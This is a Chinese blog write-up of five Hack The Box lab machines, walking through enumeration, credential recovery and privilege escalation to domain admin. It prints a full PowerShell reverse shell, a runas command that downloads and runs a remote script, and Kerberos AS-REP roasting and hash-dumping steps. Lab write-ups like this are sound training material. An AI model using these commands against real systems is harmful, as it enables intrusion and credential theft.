白袍的小行星

Hack The Box 通关记录2

字数统计: 2.8k阅读时长: 12 min
2020/06/28 Share

年轻人就要越挫越勇,继续肝,不能让我的10欧浪费了。

Access

我非常喜欢htb的靶机名字还有Info Card,设计得很好,也很贴合靶机内容。

端口:

Nmap scan report for 10.10.10.98
Host is up (0.19s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
23/tcp open telnet?
80/tcp open http Microsoft IIS httpd 7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

ftp发现Anonymous可读,就连上翻了一下,找到个数据库文件和一个加密的压缩包。

使用get下载前要先设置成binary模式,否则下载下来的文件会损坏。

打开mdb文件,在auth_user表里找到一个密码:access4u@security

用这个解压压缩包,发现里面是个outlook的文件,也就是邮件,打开之后可以得到一个用户名和密码:

Telnet远程连接,得到普通用户权限。

收集信息的时候发现个无语的事情,有位大哥直接把root.txt移到普通用户的目录了:

但是该提还得提,先把机器重置一下。

telnet的shell很难用,就用powershell反弹一个:

powershell -command "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.47',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

通过cmdkey /list可以看到存储的凭据:

本来想导出的,但是找到的大多数工具都需要管理员权限,要不就是类型不符合,所以需要找一种其他方法。

runas命令是Windows中一种以另一个用户身份来运行一个程序的命令,当然,是需要那个用户的凭据的。

刚好我们有管理员的凭据,只需要加上/savecred,此选项本来是用作保存凭据,即第一次输入密码后会保存它,之后再使用就不必再次输入密码。

runas文档链接:Runas

所以我们可以弹回来一个管理员权限的shell:

runas /user:ACCESS\Administrator /savecred "powershell iex(new-object net.webclient).downloadstring('http://10.10.14.47/Invoke-PowerShellTcp.ps1')"

Netmon

扫端口第一遍没扫准确,就很离谱。

Nmap scan report for 10.10.10.152
Host is up (0.19s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open tcpwrapped
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open tcpwrapped
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

题目很简单,FTP匿名登录上去拿到了user.txt,80端口的PRTG Network Monitor系统有个RCE,但是需要登录才能使用,我们可以在ftp服务里翻一翻其数据文件,找到密码即可。

数据文件在C:\ProgramData\Paessler\PRTG Network Monitor里,下载下来,在bak文件里可以找到密码:

但这个逼密码没用,因为是旧备份,所以尝试一下把后面的数字改成2019,就成功登录了,这也算是脑洞吧。

在添加传感器处有执行代码的地方,选择用powershell反弹shell:

弹回来的就是SYSTEM权限。

Bastion

端口:

Nmap scan report for 10.10.10.134
Host is up (0.28s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds

smbmap枚举一波,记得要加一个-u notausername,不然提示认证错误:

smbmap -u notausername -H 10.10.10.134
[+] Guest session IP: 10.10.10.134:445 Name: 10.10.10.134
[-] Work
[!] Unable to remove test directory at \\10.10.10.134\Backups\MGQXGPHSUA, please remove manually
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
Backups READ, WRITE
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC

连接到Backups,发现一个note.txt内容如下:

Sysadmins: please don’t transfer the entire backup file locally, the VPN to the subsidiary office is too slow.

就是系统管理员提醒不要在本地传输整个备份文件,因为VPN太慢。

其他目录里可以翻到这个:

.vhd就是微软虚拟磁盘文件,说白了类似于系统镜像,我们可以从中提取出账号密码。

直接下载很慢很慢,所以通过挂载虚拟磁盘的方式来解决:

mkdir /mnt/pc
mkdir /mnt/vhd
modprobe nbd
mount -t cifs -o username=guest //10.10.10.134/backups /mnt/pc
guestmount --add /mnt/pc/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt/vhd/ -v

最后一步可能略慢,耐心等待。挂载完成后就可以通过ls /mnt/vhd来查看了:

/mnt/vhd/Windows/System32/config/SAM/mnt/vhd/Windows/System32/config/SYSTEM拷贝出来用samdump2读取:

破解哈希:

只有普通用户的可以破解出来,先ssh连接吧。

不能用systeminfo,就先翻翻安装程序,找到个没见过的mRemoteNG,一搜才知道是个远程管理软件。

那就看看配置文件,说不定有管理员的密码。

C:\Users\L4mpje\AppData\Roaming\mRemoteNG\confCons.xml里找到了:

github上有人写了解密脚本:kmahyyg/mremoteng-decrypt

直接连接,得到管理员权限。

Heist

端口:

Nmap scan report for 10.10.10.149
Host is up (0.19s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

首先尝试了SMB共享匿名访问,发现不允许,就去看了80的Web.

没账号,但是有个访客登录,点进去:

此处可访问,点击发现了好东西:

这个密文类型我开始不知道是啥,去看了wp才知道是思科的,有在线破解地址。

我们得到了这些:

admin Q4)sJu\Y8qz*A3?d
rout3r $uperP@ssword
? stealth1agent
Hazard ?

现在尝试去访问SMB共享,在尝试了几次后,我发现Hazard:stealth1agent可以访问:

但是没什么用,里面没有用的东西。

5985是winrm的,用已知账号密码尝试连接,发现都不行,继续找其他信息。

尝试通过MSRPC接口来枚举远程用户和组,利用impacket-lookupsid

终于试出了使用Chase:Q4)sJu\Y8qz*A3?d可远程连接,拿到普通用户权限。

这里最好把收集到的用户名和密码分别放到两个文件,然后利用相关工具进行爆破,会比手动登录快很多。

在已寻找安装软件的时候发现有火狐浏览器,并且在进程里也发现了firefox.exe,用procdump把火狐的内存dump下来。

但是这个内存很大,我用msf下载的时候直接把我的session干死了,只能上传一个Strings,然后搜索字符串。

cmd /c "strings64.exe -accepteula firefox.exe_200629_145604.dmp > firefox145604.txt"
findstr "username" ./firefox145604.txt

找到了,尝试登陆Administrator,成功,顺手提到SYSTEM.

Forest

这个是我当初的噩梦,因为看到它是easy难度,心理上没把它当回事,没想到这么难,这次重新挑战。

端口:

Nmap scan report for 10.10.10.161
Host is up (0.21s latency).
Not shown: 985 closed ports, 4 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
53/tcp open domain?
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-06-30 01:15:37Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing

看服务应该还是跟域内的知识有关,从上面结果我们得到域名为htb.local,下面尝试去用匿名账户检索一下活动目录的有关信息:

查询所有域用户:

ldapsearch -x -H ldap://10.10.10.161:389 -D "CN=Anonymous,CN=Users,DC=htb,DC=local" -w '' -b "DC=htb,DC=local" CN | grep cn

查询所有计算机:

ldapsearch -x -H ldap://10.10.10.161:389 -D "CN=Anonymous,CN=Users,DC=htb,DC=local" -w '' -b "DC=htb,DC=local" "(&(objectCategory=computer)(objectClass=computer))" CN |grep cn

去掉后面的CN | grep cn就可以看到更详细的信息。

我们收集到的信息如下:

  • 域控:FOREST.htb.local
  • exchange服务器:EXCH01.htb.local
  • 用户:Sebastien CaronLucinda BergerAndy HislipMark BrandtSanti Rodriguez

下面对SMB进行检测,一般来说我们主要检测的内容就是:空会话、枚举和漏洞。

空会话可以使用smbmapsmbclient,可以尝试不提供凭证或随便提供一个凭证

smbmap -u noausername -H 10.10.10.161

枚举则使用enum4linux,它的检测项比较多,可以获得很多的信息:

enum4linux -a 10.10.10.161

这个用户列表更全面。

漏洞扫描:

nmap --script smb-vuln* -p 139,445 10.10.10.161

接下来我们可以把目光转向kerberos,主要的攻击方式有这些:

  • 暴力破解,有可能导致账户被锁定
  • ASREPRoast,寻找不需要Kerberos身份预验证的用户,并获得用户哈希
  • Kerberoasting,需要一个可以请求TGS的域用户,无权限要求
  • 其他需要较高权限或较多信息的攻击方式

暴力破解先不试了,试试寻找不需要预认证的用户。因为kerberos的认证过程中,在向KDC发送请求TGT时,需要向KDC的认证服务发送经过自身密码加密的时间戳,证明自己知道密码,即预认证;认证通过后,KDC会返回TGT和sessionkey,后者是用请求用户的密码加密的,所以如果我们有个不需要预验证的用户,就可以进一步拿到其哈希进行破解,最终拿到密码。

python3 GetNPUsers.py htb/ -usersfile /root/user.txt -no-pass -dc-ip 10.10.10.161

破解得到密码为s3rvice,去登录winrm,拿到普通用户。

利用BloodHound爬取域内结构,然后查找离域管理最近的路线:

查看用户所在的组:

我们控制的用户在Account Operator组中,这样就可以添加一个用户到Exchange Permissions组,然后就能够继承该组的WriteDACL权限,进而修改域对象的ACL,最终实现利用DCSync导出域内所有用户hash.

首先新建一个用户,然后把这个用户加进Exchange Permissions组:

Import-Module ActiveDirectory
Add-ADGroupMember -Identity "Remote Management Users" -Members test123
Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members test123

远程登录后就可以看到此用户所属的组:

当我试着导出hash的时候,mimikatz报错:

ERROR kuhl_m_lsadump_dcsync ; GetNCChanges: 0x000020f7 (8439)

后面发现机器的定时任务会每分钟删除所有人的DCSync权限,所以这条路走不通。

参考这篇文章:船新版本的Exchange Server提权漏洞分析,以NTML中继的方式获得域管哈希,再登录即可。

CATALOG
  1. 1. Access
  2. 2. Netmon
  3. 3. Bastion
  4. 4. Heist
  5. 5. Forest